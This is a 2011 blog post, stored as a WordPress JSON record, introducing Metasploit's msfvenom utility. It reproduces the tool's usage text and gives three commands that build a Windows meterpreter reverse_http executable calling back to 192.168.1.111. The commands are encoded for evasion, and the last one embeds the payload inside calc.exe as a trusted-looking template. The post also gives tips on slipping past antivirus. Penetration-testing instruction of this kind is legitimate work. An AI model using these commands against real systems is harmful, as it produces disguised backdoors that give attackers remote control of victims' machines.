{"id":168,"date":"2011-07-07T14:58:41","date_gmt":"2011-07-07T13:58:41","guid":{"rendered":"https:\/\/www.phillips321.co.uk\/?p=168"},"modified":"2011-07-12T12:54:32","modified_gmt":"2011-07-12T11:54:32","slug":"metasploits-msfvenon-command-line-utility","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/07\/07\/metasploits-msfvenon-command-line-utility\/","title":{"rendered":"Metasploit&#8217;s msfvenon command line utility"},"content":{"rendered":"<p>So unfortunately I have not had the time lately to keep up to date with the changes going on with metasploit but one thing that caught my eye was the msfvenom binary in the root of the framework3 directory. Neat name, but what is it? A little googling found me <a href=\"http:\/\/community.rapid7.com\/community\/metasploit\/blog\/2011\/05\/24\/introducing-msfvenom\" target=\"_blank\">this blog post by bannedit<\/a>. He goes on to mention that msfvenon simply combines the functionality of both <b>msfpayload<\/b> and <b>msfencode<\/b>.<br \/>\n[code lang=&#8221;bash&#8221;]Usage: .\/msfvenom [options] <var=val><br \/>\nOptions:<br \/>\n    -p, &#8211;payload    [payload]       Payload to use. Specify a &#8216;-&#8216; or stdin to use custom payloads<br \/>\n    -l, &#8211;list       [module_type]   List a module type example: payloads, encoders, nops, all<br \/>\n    -n, &#8211;nopsled    [length]        Prepend a nopsled of [length] size on to the payload<br \/>\n    -f, &#8211;format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war<br \/>\n    -e, &#8211;encoder    [encoder]       The encoder to use<br \/>\n    -a, &#8211;arch       [architecture]  The architecture to use<br \/>\n        &#8211;platform   [platform]      The platform of the payload<br \/>\n    -s, &#8211;space      [length]        The maximum size of the resulting payload<br \/>\n    -b, &#8211;bad-chars  [list]          The list of characters to avoid example: &#8216;\\x00\\xff&#8217;<br \/>\n    -i, &#8211;iterations [count]         The number of times to encode the payload<br \/>\n    -c, &#8211;add-code   [path]          Specify an additional win32 shellcode file to include<br \/>\n    -x, &#8211;template   [path]          Specify a custom executable file to use as a template<br \/>\n    -k, &#8211;keep                       Preserve the template behavior and inject the payload as a new thread<br \/>\n    -h, &#8211;help                       Show this message[\/code]<br \/>\nThe new and quick way to create a meterpreter payload would be this:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"bash codecolorer\">.<span class=\"sy0\">\/<\/span>msfvenom <span class=\"re5\">-p<\/span> windows<span class=\"sy0\">\/<\/span>meterpreter<span class=\"sy0\">\/<\/span>reverse_http <span class=\"re5\">-f<\/span> exe <span class=\"re2\">LHOST<\/span>=192.168.1.111 <span class=\"re2\">LPORT<\/span>=<span class=\"nu0\">80<\/span> <span class=\"sy0\">&gt;<\/span> payload.exe<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Moving on to include encoding with 5 iterations(<i>shikata_ga_nai as default)<\/i>:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"bash codecolorer\">.<span class=\"sy0\">\/<\/span>msfvenom <span class=\"re5\">-p<\/span> windows<span class=\"sy0\">\/<\/span>meterpreter<span class=\"sy0\">\/<\/span>reverse_http <span class=\"re5\">-e<\/span> <span class=\"re5\">-i<\/span> <span class=\"nu0\">5<\/span> <span class=\"re5\">-f<\/span> exe <span class=\"re2\">LHOST<\/span>=192.168.1.111 <span class=\"re2\">LPORT<\/span>=<span class=\"nu0\">80<\/span> <span class=\"sy0\">&gt;<\/span> payload.exe<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>And finally hiding inside a trusted executable:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"bash codecolorer\">.<span class=\"sy0\">\/<\/span>msfvenom <span class=\"re5\">-p<\/span> windows<span class=\"sy0\">\/<\/span>meterpreter<span class=\"sy0\">\/<\/span>reverse_http <span class=\"re5\">-e<\/span> <span class=\"re5\">-i<\/span> <span class=\"nu0\">5<\/span> <span class=\"re5\">-x<\/span> calc.exe <span class=\"re5\">-f<\/span> exe <span class=\"re2\">LHOST<\/span>=192.168.1.111 <span class=\"re2\">LPORT<\/span>=<span class=\"nu0\">80<\/span> <span class=\"sy0\">&gt;<\/span> payload.exe<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>For those that didn&#8217;t know, creation of a windows exe payload always uses <b>data\/templates\/template_x86_windows.exe<\/b> in order to create the payload, this can be changed on the fly like we did above by using the <b>-x calc.exe<\/b> flag. If you want to permanently change the exe then just simply swap out <b>template_x86_windows.exe<\/b> for what ever you wish. If you don&#8217;t want to use this template method just use the old way to get a very small executable simply use the <b>-f exe-small<\/b> flag, but beware; most AV products will catch this!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>So unfortunately I have not had the time lately to keep up to date with the changes going on with metasploit but one thing that caught my eye was the msfvenom binary in the root of the framework3 directory. Neat name, but what is it? A little googling found me this blog post by bannedit. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[64],"tags":[80,456,76,77,78,79],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/168"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=168"}],"version-history":[{"count":11,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/168\/revisions"}],"predecessor-version":[{"id":184,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/168\/revisions\/184"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=168"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=168"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=168"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}